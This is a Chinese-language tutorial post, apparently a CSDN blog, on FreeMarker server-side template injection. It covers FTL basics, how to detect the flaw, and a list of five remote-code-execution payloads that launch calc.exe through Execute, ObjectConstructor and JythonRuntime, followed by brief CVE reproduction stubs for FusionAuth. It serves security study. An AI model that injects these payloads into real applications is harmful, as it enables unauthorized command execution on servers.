freemarker模板注入

一、freemarker和thymeleaf区别

freemarker这种编程式模板引擎,比如我们用一个判断会这么写

<#if ${isBig}>Wow!</#if>

而在thymeleaf中首先要考虑的问题是我的DOM是什么,而不是将 if 的逻辑放在哪里

在thymeleaf中判断会写出下面代码:

<div th:switch="${user.role}"> 
  <p th:case="'admin'">User is an administrator</p>
  <p th:case="#{roles.manager}">User is a manager</p>
  <p th:case="*">User is some other thing</p> 
</div>

二、关于FreeMarker模板注入

参考链接:https://zhuanlan.zhihu.com/p/432361789
(一)简介
FreeMarker 是一款模板引擎,即一种基于模板和需要改变的数据, 并用来生成输出文本( HTML 网页,电子邮件,配置文件,源代码等)的通用工具,其模板语言为 FreeMarker Template Language (FTL)。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
在这里插入图片描述
(二)常用的几种类型

文本:包括HTML标签与静态文本等静态内容,会原样输出;

插值:这部分的输出会被计算的数据来替换,使用${}这种语法;

标签:给FreeMarker的指示,可以简单与指令等同,不会打印在内容中,比如<#assign name=‘bob’>;

注释:由<#–和–>表示,不会被freemarker处理

(三)注入原理
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

(四)漏洞发现

1、使用${77}或#{77},如果返回49,则基本可以确认存在模板注入漏洞。

2、使用特殊字符等方式去尝试报错:

${{<%[%’”}}%\

如果引发了报错,则可能存在问题,同时还可能爆出模板引擎是什么,有时甚至是哪个版本。

(五)参考payload
https://www.cnblogs.com/Eleven-Liu/p/12747908.html

1.<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

2.[#ftl][#assign value= "freemarker.template.utility.Execute"?new()]${ value("calc.exe")}

3.${"freemarker.template.utility.Execute"?new()("calc.exe")}

4.<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

5.<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

三、FusionAuthRCE(CVE-2020-7799)复现

转载于:https://blog.csdn.net/xuandao_ahfengren/article/details/107742893
(一)简介

FusionAuth是一个免费的身份管理平台,安装简单,易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。

(二)影响版本

FusionAuth <= 1.11.0

(三)环境搭建

1、下载 FusionAuth 1.10.0

wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip

在这里插入图片描述

四、Freemarker模板注入(CVE-2020-7477)复现

https://blog.csdn.net/qq_35208730/article/details/119392499

freemarker快速入门:
https://segmentfault.com/a/1190000011768799?utm_source=tag-newest

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值